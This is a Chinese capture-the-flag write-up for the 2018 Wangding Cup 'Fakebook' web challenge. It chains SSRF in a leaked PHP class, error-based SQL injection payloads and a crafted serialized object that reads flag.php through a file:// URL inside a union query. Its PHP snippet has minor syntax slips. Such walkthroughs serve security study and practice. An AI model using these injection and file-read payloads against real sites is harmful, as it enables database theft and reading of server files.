[网鼎杯 2018]Fakebook SQL报错注入+SSRF+反序列化

知识点

SSRF（插眼）

SQL报错注入（插眼）

反序列化　　https://www.cnblogs.com/Lee-404/p/12771032.html

解题

首先访问robots.txt，发现有个user.php.bak，下载

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

发现get()函数存在SSRF，且注册的blog是要以http或https为开始，先注册登陆

 　　发现有个参数，尝试修改参数

 　　爆出了路径，通过扫描得到该路径下还有有个flag.php

输入单引号发现有报错回显

 　　报错注入显示数据库

1 and extractvalue(1,concat(‘~‘,(select(group_concat(database())))))%23

 　　显示当前数据表

1 and extractvalue(1,concat(‘~‘,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=‘fakebook‘)))%23

显示当前数据

1 and extractvalue(1,concat(‘~‘,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=‘users‘)))%23

 　　显示字段

no=1 and updatexml(1,make_set(3,‘~‘,(select(group_concat((right(data,27))))from(users))),1)#

发现是个反序列化,但好像不完整，通过拼接,也可以用sqlmap用post注入跑出来

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:21:"https://www.baidu.com";}‘

反序列化

<?php

    class UserInfo{
        public $name="";
        public $age=0;
        public $blog="";
    }

    $a=new UserInfo();
    $a->name=test;
    $a->age=1;
    $a->blog="file:///var/www/html/flag.php"
    echo serialize($a);
?>

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

最后利用union联合查询

1/**/union/**/select 1,2,3,‘O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}‘

　　F12查看源码

参考链接

　　https://www.cnblogs.com/wangtanzhi/p/11900128.html